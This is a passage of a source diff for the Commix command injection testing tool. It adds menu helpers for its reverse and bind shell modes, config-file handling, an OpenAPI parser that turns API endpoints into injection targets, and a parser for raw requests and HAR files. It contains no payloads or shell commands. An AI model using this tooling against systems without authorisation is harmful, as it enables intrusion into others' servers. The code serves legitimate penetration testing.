+ +# The options the 'os_shell' mode offers. +def os_shell_options(): + _print_options("os_shell", OS_SHELL_OPTIONS) + + +# The options the 'reverse_tcp' mode offers. +def reverse_tcp_options(): + _print_options("reverse_tcp", REVERSE_TCP_OPTIONS) + + +# The options the 'bind_tcp' mode offers. +def bind_tcp_options(): + _print_options("bind_tcp", BIND_TCP_OPTIONS) + + +# The smartphones on offer, for the User-Agent to imitate one. +def mobile_user_agents(devices, default_index): + _print_mobile_user_agents(devices, default_index) + +""" +The tab compliter (shell options). +""" +def tab_completer(text, state): + try: + import readline + line = readline.get_line_buffer().lstrip().lower() + except Exception: + line = "" + + # Right after "set payload ", complete the currently-active shell's module paths + # (accepts both the bare name and the "bind_tcp/"/"reverse_tcp/"-prefixed form). + if line.startswith("set payload "): + module_paths = [] + try: + if settings.BIND_TCP: + from src.core.shells.bind_tcp import BIND_TCP_MODULES + module_paths = list(BIND_TCP_MODULES.keys()) + elif settings.REVERSE_TCP: + from src.core.shells.reverse_tcp import REVERSE_TCP_MODULES + module_paths = list(REVERSE_TCP_MODULES.keys()) + except Exception: + module_paths = [] + + prefix, bare_text = "", text + for mode_prefix in ("bind_tcp/", "reverse_tcp/"): + if text.startswith(mode_prefix): + prefix, bare_text = mode_prefix, text[len(mode_prefix):] + break + + available_options = [prefix + path for path in module_paths if path.startswith(bare_text)] + + # Right after "set ", the option names make sense, plus "payload" - not the full command list. + elif line.startswith("set "): + available_options = [option.upper() for option in settings.SET_OPTIONS if option.upper().startswith(text.upper())] + if "payload".startswith(text.lower()): + available_options.append("payload") + + # Only one side of a transfer is local: the source of "upload", the destination of "download". + elif line.startswith("upload ") or line.startswith("download "): + local_arg = 1 if line.startswith("upload ") else 2 + available_options = [] + if len(line.split(" ")) - 1 == local_arg: + available_options = [path + ("/" if os.path.isdir(path) else "") for path in glob.glob(text + "*")] + + # Right after "use ", complete "os_shell"/"bind_tcp"/"reverse_tcp". + elif line.startswith("use "): + use_targets = ["os_shell", "bind_tcp", "reverse_tcp"] + available_options = [target for target in use_targets if target.startswith(text.lower())] + + else: + set_options = [option.upper() for option in settings.SET_OPTIONS if option.startswith(text.upper())] + shell_options = [option for option in settings.SHELL_OPTIONS if option.startswith(text.lower())] + available_options = shell_options + set_options + + try: + return available_options[state] + except IndexError: + return None + +""" +Check if enumeration options are enabled. +""" +def enumeration_options(): + if any((options.hostname, options.current_user, options.is_root, options.is_admin, options.sys_info, options.users, options.privileges, options.passwords, options.ps_version)): + return True + +""" +Check if file access options are enabled. +""" +def file_access_options(): + if any(v is not None for v in (options.file_write, options.file_read)) or options.common_files: + return True + +""" +Check if registry access options are enabled. +""" +def registry_options(): + if any((options.reg_read, options.reg_add, options.reg_del)): + return True + +# eof diff --git a/src/core/parse/configfile.py b/src/core/parse/configfile.py new file mode 100644 index 0000000000..dd2dfcc327 --- /dev/null +++ b/src/core/parse/configfile.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os + +from src.utils import settings +from src.thirdparty.six.moves import configparser as _configparser + +""" +The options a run was given, written out and read back. + +The file is INI with one section per option group, which is the same grouping the help lists them +under - so what is saved reads as the run described rather than as a flat list of names. A value +given on the command line wins over the same value in the file, which is what lets a saved profile +stand for the settled part of a run while the target, or whatever else is being varied, is still +given directly. +""" + +""" +Options that say what to do instead of how, and are therefore not part of a profile: saving it, +loading it, and the ones that print something and end the run. +""" +IGNORED = ("config_file", "save_config", "version", "install", "update", "advanced_help", + "list_tampers", "dependencies", "mnemonics", "purge", "smoke_test", "wizard") + +""" +Every option the parser knows, as {group title: [(destination, option)]}. +""" +def _grouped(parser): + grouped = [] + for group in parser.option_groups: + options = [(option.dest, option) for option in group.option_list if option.dest and option.dest not in IGNORED] + if options: + grouped.append((group.title, options)) + return grouped + +""" +What an option's value looks like in the file. + +A switch is written as what it is, but an option that takes a value and was never given one is +written as nothing at all - several of them carry False for "unset", and writing that word would +read back as the value itself. +""" +def _written(option, value): + if option.action in ("store_true", "store_false"): + return str(bool(value)) + if value is None or value is False: + return "" + return str(value) + +""" +An option's value read back as the type the run works with. + +The parser calls anything it was not given a type for a string, while the default such an option +carries is often a number - and one read back as "5" is not the 5 it was written from, which is the +difference between a value left alone and a value that reads as having been asked for. +""" +def _read(option, default, raw): + raw = raw.strip() + if option.action in ("store_true", "store_false"): + return raw.lower() in ("1", "true", "yes", "on") + if raw == "": + return None + wanted = option.type + if wanted in (None, "string") and not isinstance(default, bool): + if isinstance(default, int): + wanted = "int" + elif isinstance(default, float): + wanted = "float" + if wanted == "int": + return int(raw) + if wanted in ("float", float): + return float(raw) + return raw + +""" +Write the options this run was given to a configuration file. +""" +def save(parser, options, filename): + config = _configparser.RawConfigParser() + for title, group_options in _grouped(parser): + config.add_section(title) + for dest, option in sorted(group_options): + config.set(title, dest, _written(option, getattr(options, dest, None))) + try: + directory = os.path.dirname(os.path.abspath(filename)) + if directory and not os.path.isdir(directory): + os.makedirs(directory) + with open(filename, "w", encoding=settings.DEFAULT_CODEC) as output_file: + config.write(output_file) + except (OSError, IOError) as err_msg: + error_msg = "Unable to write the configuration file to '" + filename + "' (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + info_msg = "Saved the options of this run to the configuration file '" + filename + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Apply a configuration file to the options this run was given. + +Only where the option is still what the parser left it: the command line is the more particular of +the two, so anything named there is what the run keeps. The names applied are handed back, because +whether an option was asked for at all is something the run decides other things by. +""" +def load(parser, options, filename): + if not os.path.isfile(filename): + error_msg = "The configuration file '" + filename + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + config = _configparser.RawConfigParser() + try: + config.read(filename) + except _configparser.Error as err_msg: + error_msg = "Unable to read the configuration file '" + filename + "' (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + known = dict((dest, option) for _, group_options in _grouped(parser) for dest, option in group_options) + applied, unknown = set(), [] + for section in config.sections(): + for dest, raw in config.items(section): + if dest not in known: + unknown.append(dest) + continue + option = known[dest] + default = parser.defaults.get(dest) + try: + value = _read(option, default, raw) + except ValueError: + error_msg = "The configuration file gives '" + dest + "' the value '" + raw.strip() + "', which is not a " + error_msg += str(option.type) + "." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + # A value that is merely the default carries nothing, and setting it would make the option + # look as though it had been asked for. + if value is None or value == default: + continue + if getattr(options, dest, None) != default: + continue + setattr(options, dest, value) + applied.add(dest) + + if unknown: + warn_msg = "The configuration file names " + ", ".join("'" + name + "'" for name in sorted(set(unknown))) + warn_msg += ", which " + ("are" if len(set(unknown)) > 1 else "is") + " not " + ("options" if len(set(unknown)) > 1 else "an option") + warn_msg += " of this version - ignored." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return applied + +# eof diff --git a/src/core/parse/openapi.py b/src/core/parse/openapi.py new file mode 100644 index 0000000000..86d6e7b88e --- /dev/null +++ b/src/core/parse/openapi.py @@ -0,0 +1,535 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import json + +from src.utils import settings +from src.core.parse import cmdline as menu +from src.thirdparty import six +from src.thirdparty.six.moves import urllib as _urllib + +try: + import yaml +except ImportError: + yaml = None + +""" +Targets described by an OpenAPI (Swagger) document. + +A target that ships a description of itself has already said what a crawl would have to discover: +every endpoint it serves, the method each answers to, and the shape of what it expects. The document +is read here as a generator of requests rather than as a contract to check - one concrete request is +built per operation, and an operation that cannot be built is skipped with a word about it, so a +loose or partial description still yields what it can. +""" + +MAX_REF_DEPTH = 25 +EXAMPLE_MAX_DEPTH = 8 +METHODS = ("get", "post", "put", "delete", "patch", "options", "head") +HEADER_NAME_REGEX = re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") + +""" +The document, whichever of the two ways it is written in. +""" +def _load_spec(content): + try: + return json.loads(content) + except ValueError: + if yaml is None: + err_msg = "The provided OpenAPI (Swagger) specification is not JSON, and the optional 'pyyaml' " + err_msg += "module needed for the YAML form is not available." + raise ValueError(err_msg) + try: + return yaml.safe_load(content) + except Exception as err: + raise ValueError("it is neither valid JSON nor valid YAML (" + str(err) + ")") + +""" +What a '$ref' points at, followed until it names something real. +""" +def _resolve(spec, node, seen=None, depth=0): + seen = seen or set() + if isinstance(node, dict) and "$ref" in node: + ref = node["$ref"] + # Only a string names anything; anything else is a malformed reference and stands for nothing. + if not isinstance(ref, six.string_types): + return {} + if ref in seen or depth > MAX_REF_DEPTH: + return {} + if not ref.startswith("#/"): + warn_msg = "Skipping the external reference '" + ref + "', which is not part of this document." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return {} + seen = seen | set([ref]) + current = spec + for part in ref[2:].split("/"): + part = part.replace("~1", "/").replace("~0", "~") + if not isinstance(current, dict) or part not in current: + warn_msg = "Skipping the reference '" + ref + "', which points at nothing in this document." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return {} + current = current[part] + return _resolve(spec, current, seen, depth + 1) + return node + +""" +A value of the shape the document says to send. + +What is wanted here is something to inject into, not something to validate: a value the target will +accept far enough to run what it was given. What the document itself offers is taken first, and only +where it offers nothing is one made up from the type. + +Worked out once per reference and kept, because a large description reuses the same shapes across +thousands of operations, and made afresh each time the work would grow with the square of them. +""" +def _example(spec, schema, seen=None, depth=0, cache=None): + seen = seen or set() + if cache is None: + cache = {} + if depth > EXAMPLE_MAX_DEPTH: + return "1" + ref = schema.get("$ref") if isinstance(schema, dict) else None + if not isinstance(ref, six.string_types): + ref = None + # Kept against the depth it was worked out at as well as the reference itself: what a shape + # expands to depends on how much of the depth budget is left for its children, so a reference + # first met near the cutoff was kept with those children collapsed, and handed back that way + # everywhere it appeared afterwards - including where there was room to expand it in full. + key = (ref, depth) if ref is not None else None + if key is not None and key in cache: + return cache[key] + + schema = _resolve(spec, schema or {}, seen, depth) + if not isinstance(schema, dict): + return "1" + + value = None + if "example" in schema: + value = schema["example"] + elif "const" in schema: + value = schema["const"] + elif "default" in schema: + value = schema["default"] + elif isinstance(schema.get("examples"), list) and schema["examples"]: + value = schema["examples"][0] + elif isinstance(schema.get("enum"), list) and schema["enum"]: + value = schema["enum"][0] + else: + combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None) + if combinator: + if combinator == "allOf": + merged = {} + for sub in schema[combinator]: + part = _example(spec, sub, seen, depth + 1, cache) + if isinstance(part, dict): + merged.update(part) + value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + value = _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + declared = schema.get("type") + # A type may be given as a list, where what is wanted is the one that is not the absence of one. + if isinstance(declared, list): + declared = next((_ for _ in declared if _ != "null"), None) + if declared == "object" or ("properties" in schema and not declared): + properties = schema.get("properties") + value = dict((name, _example(spec, sub, seen, depth + 1, cache)) + for name, sub in (properties if isinstance(properties, dict) else {}).items()) + elif declared == "array": + value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)] + elif declared in ("integer", "number"): + value = 1 + elif declared == "boolean": + value = True + elif declared == "string": + formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", + "date-time": "2020-01-01T00:00:00Z", "email": "a@b.co", "byte": "MQ=="} + value = formats.get(schema.get("format"), "1") + else: + value = "1" + + if key is not None: + cache[key] = value + return value + +""" +A value as it goes into a URL or a header, rather than as the document holds it. +""" +def _scalar(value): + if isinstance(value, bool): + return "true" if value else "false" + if isinstance(value, (int, float)): + return str(value) + if isinstance(value, six.string_types): + return value + try: + return json.dumps(value) + except TypeError: + return str(value) + +NO_EXAMPLE = object() + +""" +A value the document states outright, which is worth more than one worked out from the shape. +""" +def _explicit_example(spec, container): + if not isinstance(container, dict): + return NO_EXAMPLE + # Given as nothing is given as nothing, and the shape is asked instead. + if container.get("example") is not None: + return container["example"] + examples = container.get("examples") + if isinstance(examples, dict) and examples: + first = _resolve(spec, next(iter(examples.values()))) + if isinstance(first, dict) and first.get("value") is not None: + return first["value"] + return NO_EXAMPLE + +# A marker the document supplied is not a marker this run put there, so it is taken back out. +def _no_mark(text): + return text.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, "") + +# What cannot legally appear in a header, so that a document cannot write headers of its own. +def _header_clean(text): + return re.sub(r"[\x00-\x1f\x7f]", "", text) + +# Encoded so that a value cannot end the parameter it is part of and start another. +def _url_safe(value, safe=""): + try: + if isinstance(value, six.text_type): + value = value.encode(settings.DEFAULT_CODEC) + elif not isinstance(value, bytes): + value = str(value) + return _urllib.parse.quote(value, safe=safe) + except Exception: + return value + +""" +Where the described endpoints actually live. + +A document may say so itself, or say it only in part, or not at all - in which case the address it +was fetched from is what its paths hang off. +""" +def _base_url(spec, origin=None, servers=None): + base_path = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else "" + if base_path and not base_path.startswith("/"): + base_path = "/" + base_path + servers = servers if servers is not None else spec.get("servers") + if isinstance(servers, list) and servers and isinstance(servers[0], dict): + url = servers[0].get("url") + url = url if isinstance(url, six.string_types) else "" + variables = servers[0].get("variables") + if isinstance(variables, dict): + for name, meta in variables.items(): + meta = meta if isinstance(meta, dict) else {} + default = meta.get("default") + # Where no default is given, a value the document does allow beats one invented here. + if default is None: + enum = meta.get("enum") + default = enum[0] if isinstance(enum, list) and enum else "1" + url = url.replace("{" + name + "}", str(default)) + # An address given in full is used as it stands, host and all. + if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): + return url.rstrip("/") + # Only the scheme and host come from '--openapi-base' here - a document naming its own server + # already says where its paths live relative to it, and joining that onto the option's full + # value as well (itself sometimes a path, for a document that names no server at all) would + # carry the same path twice. + if origin: + parsed_origin = _urllib.parse.urlparse(origin if "://" in origin else "http://" + origin) + origin = (parsed_origin.scheme or "http") + "://" + parsed_origin.netloc + return ((origin or "") + "/" + url.lstrip("/")).rstrip("/") + if spec.get("host"): + schemes = spec.get("schemes") + scheme = schemes[0] if isinstance(schemes, list) and schemes else "https" + return scheme + "://" + spec["host"] + base_path.rstrip("/") + return (origin.rstrip("/") if origin else "") + base_path.rstrip("/") + +""" +Every request the document describes, as this run would send it. + +Handed back as (url, method, data, headers, cookie), where a path, header or cookie value carries the +marker that makes it a place to test - those are where a described API puts the values it acts on, +and nothing else would find them. +""" +def openapi_targets(content, origin=None, tags=None): + tag_set = set(tags) if tags else None + + spec = _load_spec(content) + if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"): + raise ValueError("it describes no paths") + + try: + root_base = _base_url(spec, origin) + except Exception: + root_base = origin.rstrip("/") if isinstance(origin, six.string_types) else "" + is_v2 = "swagger" in spec and "openapi" not in spec + targets = [] + cache = {} + + for path, item in (spec.get("paths") or {}).items(): + item = _resolve(spec, item) + if not isinstance(item, dict): + continue + shared = item.get("parameters") or [] + for method, operation in item.items(): + if str(method).lower() not in METHODS or not isinstance(operation, dict): + continue + if tag_set is not None and not (tag_set & set(_ for _ in (operation.get("tags") or []) if isinstance(_, six.string_types))): + continue + try: + # An operation may say where it lives, and what it says outranks what the path or the document says. + own_servers = operation.get("servers") or item.get("servers") + base = root_base + if own_servers: + try: + base = _base_url(spec, origin, own_servers) + except Exception: + base = root_base + + # The same parameter named twice is the operation's version of it. + params, seen = [], {} + for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])): + resolved = _resolve(spec, raw) + if isinstance(resolved, dict) and resolved.get("name"): + key = (resolved.get("in"), resolved.get("name")) + if key in seen: + params[seen[key]] = resolved + continue + seen[key] = len(params) + params.append(resolved) + + url_path = path if isinstance(path, six.string_types) else str(path) + query, headers, form, cookies = [], [], [], [] + + for param in params: + if not isinstance(param, dict): + continue + location, name = param.get("in"), param.get("name") + if not name: + continue + if not isinstance(name, six.string_types): + name = str(name) + explicit = _explicit_example(spec, param) + if explicit is not NO_EXAMPLE: + value = _scalar(explicit) + else: + schema = param.get("schema") or {"type": param.get("type", "string")} + value = _scalar(_example(spec, schema, cache=cache)) + if location == "path": + # A value in the path is where a described API carries what it acts on, so it is marked. + url_path = url_path.replace("{" + name + "}", _url_safe(value) + settings.CUSTOM_INJECTION_MARKER_CHAR) + elif location == "query": + query.append(_url_safe(name, "[]") + "=" + _url_safe(value)) + elif location == "header": + header_name = _header_clean(name) + if header_name and HEADER_NAME_REGEX.match(header_name): + headers.append((header_name, _header_clean(_no_mark(value)) + settings.CUSTOM_INJECTION_MARKER_CHAR)) + elif location == "cookie": + cookie_name = _header_clean(name) + if cookie_name and HEADER_NAME_REGEX.match(cookie_name): + # Nothing that separates one cookie from the next, so the document cannot add any. + cookie_value = re.sub(r"[;,\s]", "", _header_clean(_no_mark(value))) + cookies.append(cookie_name + "=" + cookie_value + settings.CUSTOM_INJECTION_MARKER_CHAR) + elif location == "formData": + form.append(_url_safe(name, "[]") + "=" + _url_safe(value)) + + # What the path itself is written with, so a literal cannot end the URL early. + url_path = url_path.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") + if url_path and not url_path.startswith("/"): + url_path = "/" + url_path + + url = base + url_path + if query: + url += "?" + "&".join(query) + + # Anything still written as a placeholder was never defined, and stands for a value. + url = re.sub(r"\{[^}]+\}", "1", url) + + if not re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): + warn_msg = "Skipping the '" + str(method).upper() + " " + str(path) + "' operation, which resolves to no " + warn_msg += "address - fetch the specification by URL, or give a base with '--openapi-base'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + continue + + data = None + body = _resolve(spec, operation.get("requestBody") or {}) + described = body.get("content") if isinstance(body, dict) else None + if isinstance(described, dict) and described: + media_types = [_ for _ in described if isinstance(_, six.string_types)] + picked = next((_ for _ in media_types if _ == "application/json" or _.endswith("+json") or "json" in _), None) \ + or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in media_types else None) \ + or (media_types[0] if media_types else None) + if picked: + media_type = described[picked] if isinstance(described[picked], dict) else {} + example = _explicit_example(spec, media_type) + if example is NO_EXAMPLE: + example = _example(spec, media_type.get("schema") or {}, cache=cache) + if "json" in picked: + data = _no_mark(json.dumps(example, default=str)) + headers.append((settings.CONTENT_TYPE, "application/json")) + elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict): + data = "&".join(_url_safe(name, "[]") + "=" + _url_safe(_scalar(value)) for name, value in example.items()) + headers.append((settings.CONTENT_TYPE, "application/x-www-form-urlencoded")) + elif isinstance(example, six.string_types): + # A body with no parameters of its own is tested whole. + data = _no_mark(example) + settings.CUSTOM_INJECTION_MARKER_CHAR + headers.append((settings.CONTENT_TYPE, picked)) + else: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Not building a '" + picked + "' body for the '" + str(method).upper() + " " + str(path) + "' operation." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + elif isinstance(operation.get("parameters"), list) or is_v2: + for param in params: + if isinstance(param, dict) and param.get("in") == "body": + example = _example(spec, param.get("schema") or {}, cache=cache) + data = _no_mark(json.dumps(example, default=str)) + headers.append((settings.CONTENT_TYPE, "application/json")) + + if data is None and form: + data = "&".join(form) + headers.append((settings.CONTENT_TYPE, "application/x-www-form-urlencoded")) + + targets.append((url, str(method).upper(), data, headers or None, "; ".join(cookies) if cookies else None)) + except Exception as err: + warn_msg = "Skipping the '" + str(method).upper() + " " + str(path) + "' operation (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + return targets + +""" +The document itself, from wherever it was pointed at. +""" +def _read_specification(): + location = menu.options.openapi + if re.match(r"(?i)\Ahttps?://", location): + info_msg = "Fetching the OpenAPI (Swagger) specification from '" + location + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: + response = _urllib.request.urlopen(location, timeout=settings.TIMEOUT) + content = response.read() + except Exception as err: + err_msg = "Unable to fetch the specification from '" + location + "' (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if isinstance(content, bytes): + content = content.decode(settings.DEFAULT_CODEC, errors="replace") + # Fetched from somewhere, so that somewhere is what its own relative addresses hang off. + origin = None + matched = re.match(r"(?i)(https?://[^/]+)", location) + if matched: + origin = matched.group(1) + return content, origin + + location = os.path.expanduser(location) + if not os.path.isfile(location): + err_msg = "It seems the '" + location + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if os.stat(location).st_size == 0: + err_msg = "It seems the '" + location + "' file is empty." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + info_msg = "Parsing the OpenAPI (Swagger) specification from '" + os.path.split(location)[1] + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + with open(location, encoding="utf-8-sig") as spec_file: + return spec_file.read(), None + +""" +Every operation the specification describes, made into the targets the rest of the run tests. +""" +def openapi_parser(): + from src.core.parse import request + + if menu.options.method: + warn_msg = "The '--method' option overrides the method every operation says it answers to." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + content, origin = _read_specification() + # What was given by hand says where the endpoints are, over anything the document works out itself. + if menu.options.openapi_base: + origin = menu.options.openapi_base.rstrip("/") + + tags = None + if menu.options.openapi_tags: + tags = [_.strip() for _ in re.split(r"[,;]", menu.options.openapi_tags) if _.strip()] + if tags: + info_msg = "Restricting extraction to the operations tagged: " + ", ".join(tags) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + try: + described = openapi_targets(content, origin, tags) + except ValueError as err: + err_msg = "Unable to parse the OpenAPI (Swagger) specification (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # An API that says it expects to be authenticated, tested without anything to authenticate with, + # answers every request the same way and is reported as testing nothing. + if re.search(r"(?i)securitySchemes|securityDefinitions", content) and \ + not any((menu.options.auth_type, menu.options.auth_cred)) and \ + not (menu.options.headers and "authorization" in menu.options.headers.lower()) and \ + not (menu.options.cookie): + warn_msg = "The specification declares authentication, and none was provided. Requests are likely " + warn_msg += "to be refused - see '--auth-type'/'--auth-cred', '--cookie' or '--headers'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + targets, mutating = [], 0 + for url, method, data, headers, cookie in described: + if menu.options.scope and not re.search(menu.options.scope, url, re.I): + settings.SKIPPED_OUT_OF_SCOPE.append(url) + continue + if method not in ("GET", "HEAD", "OPTIONS"): + mutating += 1 + raw_headers = settings.END_LINE.LF.join(name + ": " + value for name, value in (headers or [])) + targets.append({ + "url" : url, + "method" : method, + "data" : data or "", + "host" : None, + "agent" : None, + "cookie" : cookie, + "referer" : None, + "auth_type" : None, + "auth_cred" : None, + "headers" : raw_headers, + "raw_headers" : raw_headers + }) + + if not targets: + warn_msg = "No usable target was derived from the specification." + if not menu.options.openapi_base: + warn_msg += " Where it names no host of its own, fetch it by URL or give a base with '--openapi-base'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + info_msg = "Derived " + str(len(targets)) + " target" + "s"[len(targets) == 1:] + " from the specification." + if settings.SKIPPED_OUT_OF_SCOPE: + info_msg += " Skipped " + str(len(settings.SKIPPED_OUT_OF_SCOPE)) + " out of scope." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Said plainly, because what is about to be sent is not all reading: these change what is there. + if mutating: + warn_msg = str(mutating) + " of them answer to a method that changes state (POST, PUT, PATCH, DELETE). " + warn_msg += "Testing those may create, alter or remove data on the target." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + settings.MULTI_REQUEST_TARGETS = targets + request.apply_target(targets[0]) + return targets + +# eof diff --git a/src/core/parse/request.py b/src/core/parse/request.py new file mode 100755 index 0000000000..636c78f859 --- /dev/null +++ b/src/core/parse/request.py @@ -0,0 +1,433 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import json +import base64 +import binascii +from src.core.parse import cmdline as menu +from src.utils import settings +from src.thirdparty.odict import OrderedDict +from src.core.controller import checks +from src.thirdparty.six.moves import urllib as _urllib + +""" +Extract a single header's value from a raw "Name: value" line, or None if it's a different header. +""" +def _extract_header_value(header_name, line): + # Header names are case-insensitive, so match them as sent rather than reshaping them. + # A field name ends at the colon and the whitespace around its value is optional (RFC 9112), + # so neither the literal space this used to require, nor that whitespace, is part of the value. + match = re.findall(r"(?i)^" + re.escape(header_name) + r":[ \t]*(.*)", line) + return "".join([str(i) for i in match]).strip(" \t") if match else None + +""" +Error message for invalid data. +""" +def _invalid_data(request_file): + err_msg = "It seems the " + err_msg += "'" + request_file + "'" + err_msg += " file does not contain a valid HTTP request." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Every entry of a HAR (HTTP Archive) export, rebuilt as the raw request text '_parse_request' +already reads - the format Chrome, Firefox and Burp all export traffic as, and the one '--har' +writes a run's own traffic to, but had no way back in until now. +""" +def _parse_har(content): + try: + document = json.loads(content) + except ValueError: + return None + entries = document.get("log", {}).get("entries") if isinstance(document, dict) else None + if not isinstance(entries, list): + return None + + requests = [] + for entry in entries: + req = entry.get("request") if isinstance(entry, dict) else None + if not isinstance(req, dict) or not req.get("url") or not req.get("method"): + continue + parsed_url = _urllib.parse.urlparse(req["url"]) + path = parsed_url.path or "/" + if parsed_url.query: + path += "?" + parsed_url.query + + lines = [req["method"] + " " + path + " HTTP/1.1"] + host_present = False + for header in req.get("headers") or []: + name, value = header.get("name", ""), header.get("value", "") + if not name: + continue + if name.lower() == settings.HOST.lower(): + host_present = True + lines.append(name + ": " + value) + if not host_present: + lines.append(settings.HOST + ": " + parsed_url.netloc) + + body = ((req.get("postData") or {}).get("text") or "") + requests.append(settings.END_LINE.LF.join(lines) + settings.END_LINE.LF + settings.END_LINE.LF + body) + return requests + +""" +Split the content of a request / proxy log file into the single requests it holds. +""" +def _split_requests(content): + # A HAR export is JSON through and through, so it is told apart from the rest before any of the + # text-based formats below get a chance to misread it. + har_requests = _parse_har(content) + if har_requests is not None: + return har_requests + + # A proxy log export delimits its entries with rows of '=', responses among them. + if re.search(settings.PROXY_LOG_REQUEST_REGEX, content, re.I | re.S): + # Only blocks opening on a method token are requests, which leaves the responses out. + return [match.group(1) for match in re.finditer(settings.PROXY_LOG_REQUEST_REGEX, content, re.I | re.S)] + + # An XML history export keeps every request base64-encoded, with its port stored apart. + if re.search(settings.PROXY_LOG_XML_REQUEST_REGEX, content, re.I | re.S): + requests = [] + for port, encoded in re.findall(settings.PROXY_LOG_XML_REQUEST_REGEX, content, re.I | re.S): + try: + request = base64.b64decode(encoded).decode(settings.DEFAULT_CODEC) + except (binascii.Error, TypeError, UnicodeDecodeError): + continue + # The host line carries no port, so put back the one the log kept beside it. + match = re.search(r"(?im)^" + settings.HOST + r":.+", request) + if match: + host = match.group(0).strip() + if not re.search(r":\d+\Z", host) and str(port) != "80": + request = request.replace(host, host + ":" + str(port)) + requests.append(request) + return requests + + return [content] + +""" +Skip a request asking for a static file, which has nothing to inject into. +""" +def _is_static_request(http_method, request_url): + if http_method != settings.HTTPMETHOD.GET or settings.INJECT_TAG in request_url: + return False + path = _urllib.parse.urlparse(request_url).path + extension = os.path.splitext(path)[1].lstrip(".").lower() + return bool(extension) and extension in [_.lower() for _ in settings.CRAWL_EXCLUDE_EXTENSIONS] + +""" +Signature of a target, so the same endpoint logged again is not tested twice. +""" +def _target_signature(target): + parsed = _urllib.parse.urlparse(target["url"]) + # The parameter names are what gets tested, so two requests differing only in values are one target. + query_params = tuple(sorted(_urllib.parse.parse_qs(parsed.query, keep_blank_values=True))) + try: + data_params = tuple(sorted(_urllib.parse.parse_qs(target["data"] or "", keep_blank_values=True))) + except (AttributeError, ValueError): + data_params = () + return (target["method"], parsed.netloc, parsed.path, query_params, data_params) + +""" +Parse a single raw HTTP request into the target it describes. +""" +def _parse_request(request, request_file): + # Normalize CRLF line endings. + request = request.replace(settings.END_LINE.CRLF, settings.END_LINE.LF) + request = re.sub(r"\A[^\w]+", "", request) + + if "HTTP/" not in request: + return None + + target = { + "url" : "", + "method" : "", + "data" : "", + "host" : None, + "agent" : None, + "cookie" : None, + "referer" : None, + "auth_type" : None, + "auth_cred" : None, + "headers" : "", + "raw_headers" : "" + } + + c = 1 + request_headers = [] + if 